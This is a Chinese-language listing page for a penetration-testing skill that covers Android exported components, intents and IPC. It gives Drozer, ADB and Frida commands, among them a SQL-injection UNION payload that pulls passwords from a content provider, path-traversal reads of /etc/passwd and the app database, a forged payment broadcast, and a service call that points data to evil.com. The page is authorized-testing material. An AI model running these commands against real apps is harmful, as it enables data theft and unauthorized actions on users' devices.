关于 testing-android-intents-for-vulnerabilities
面向 Android 应用安全评估的技能,指导测试人员检查导出组件、Intent 和 IPC 漏洞。涵盖 Drozer、ADB 与 Frida 的测试流程;仅应在获授权的环境中使用。
主要功能
- 01枚举导出的 Android 组件
- 02测试 Activity、广播接收器和服务
- 03检查内容提供程序的数据暴露
- 04监控 PendingIntent 创建
- 05评估 Intent 注入与 IPC 风险
适用场景
- 01排查导出组件的未授权调用
- 02测试广播接收器的敏感数据泄露
- 03检查内容提供程序的查询注入
- 04评估 PendingIntent 和服务绑定风险
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-android-intents-for-vulnerabilities安装后在 Claude Code 中输入/testing-android-intents-for-vulnerabilities确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
测试 Android Intent 漏洞
何时使用
在以下情况使用本技能:
- 评估 Android 应用导出的 activity、service、receiver 和 content provider
- 测试 intent 注入和未授权组件调用
- 评估广播 receiver 的安全性以发现敏感数据暴露
- 对 Android 应用执行以 IPC 为重点的渗透测试
请勿在未经明确授权的情况下在生产设备上使用。
前提条件
- 已 root 的 Android 设备或带 ADB 的模拟器
- 目标设备上已安装 Drozer agent(
drozer agent.apk) - 宿主机上的 Drozer 控制台(
pip install drozer) - 使用 apktool 反编译目标 APK 以分析 AndroidManifest.xml
- 使用 Frida 进行运行时 intent 监控
工作流
步骤 1:枚举导出的组件
# Using Drozer
drozer console connect
run app.package.info -a com.target.app
run app.package.attacksurface com.target.app
# Output shows:
# X activities exported
# X broadcast receivers exported
# X content providers exported
# X services exported
# List exported activities
run app.activity.info -a com.target.app
# List exported services
run app.service.info -a com.target.app
# List exported receivers
run app.broadcast.info -a com.target.app
# List content providers
run app.provider.info -a com.target.app
步骤 2:测试导出的 Activity
# Launch exported activities directly
run app.activity.start --component com.target.app com.target.app.AdminActivity
# Launch with intent extras
run app.activity.start --component com.target.app com.target.app.ProfileActivity \
--extra string user_id 1337
# Test intent injection via data URI
adb shell am start -a android.intent.action.VIEW \
-d "content://com.target.app/users/admin" com.target.app
# If admin activity opens without auth, report as authorization bypass
步骤 3:测试广播 Receiver
# Send broadcast to exported receivers
run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \
--extra string amount "0.01" --extra string recipient "attacker"
# Sniff broadcasts for sensitive data
run app.broadcast.sniff --action com.target.app.USER_LOGIN
# Via ADB
adb shell am broadcast -a com.target.app.RESET_PASSWORD \
--es email "[email protected]"
步骤 4:测试 Content Provider
# Query content providers for data leakage
run app.provider.query content://com.target.app.provider/users
run app.provider.query content://com.target.app.provider/users --projection "password"
# Test SQL injection in content providers
run app.provider.query content://com.target.app.provider/users \
--selection "1=1) UNION SELECT username,password FROM users--"
# Test path traversal
run app.provider.read content://com.target.app.provider/../../etc/passwd
run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db
# Find injectable providers
run scanner.provider.injection -a com.target.app
run scanner.provider.traversal -a com.target.app
步骤 5:测试 Pending Intent 漏洞
// Monitor PendingIntent creation via Frida
Java.perform(function() {
var PendingIntent = Java.use("android.app.PendingIntent");
PendingIntent.getActivity.overload("android.content.Context", "int",
"android.content.Intent", "int").implementation =
function(context, requestCode, intent, flags) {
console.log("[PendingIntent] getActivity:");
console.log(" Intent: " + intent.toString());
console.log(" Flags: " + flags);
// Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable)
var FLAG_MUTABLE = 0x02000000;
if ((flags & FLAG_MUTABLE) !== 0) {
console.log(" [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver");
}
return this.getActivity(context, requestCode, intent, flags);
};
});
步骤 6:测试 Service 绑定
# Attempt to bind to exported services
run app.service.start --action com.target.app.SYNC_SERVICE \
--extra string server "https://evil.com/data_sink"
run app.service.send com.target.app com.target.app.MessengerService \
--msg 1 0 0 --extra string command "dump_database" --bundle-as-obj
核心概念
| 术语 | 定义 |
|---|---|
| 导出的组件 | 设备上其他应用可访问的 Android 组件(activity/service/receiver/provider) |
| Intent | 用于向其他组件请求操作的消息对象;可以是显式的(指定目标)或隐式的(基于 action) |
| Pending Intent | 封装 intent 以供其他应用将来执行的令牌;可变的 PendingIntent 可被接收方修改 |
| Content Provider | 用于在应用之间共享结构化数据的组件;如果查询参数未经过滤,则是 SQL 注入的目标 |
| 广播 Receiver | 接收系统或应用广播的组件;导出的 receiver 可被任何应用触发 |
工具与系统
- Drozer:用于 IPC 测试的 Android 安全评估框架,带有预置模块
- ADB:用于调用 intent、启动 activity 和发送广播的命令行工具
- Frida:对 intent 处理和 PendingIntent 创建进行运行时监控
- apktool:反编译 APK,以通过 AndroidManifest.xml 分析组件的导出状态
- Intent Fuzzer:用于对导出组件的 intent 参数进行模糊测试的自动化工具
常见陷阱
- android:exported 默认值在 API 31 中变更:带有 intent filter 的组件在 API 31 以下默认为 exported=true,但在 API 31+ 默认为 exported=false。请检查 targetSdkVersion。
- 受权限保护的组件:导出的组件可能仍需要某项权限。请在具备和不具备所需权限的情况下分别测试。
- 隐式 intent 与显式 intent:只有隐式 intent(基于 action)可被其他应用拦截。显式 intent(指定目标)是安全的。
- 自定义权限:应用可以定义具有不同保护级别(normal、dangerous、signature)的自定义权限。signature 级别的权限只能授予使用相同证书签名的应用。
评论
支持 Markdown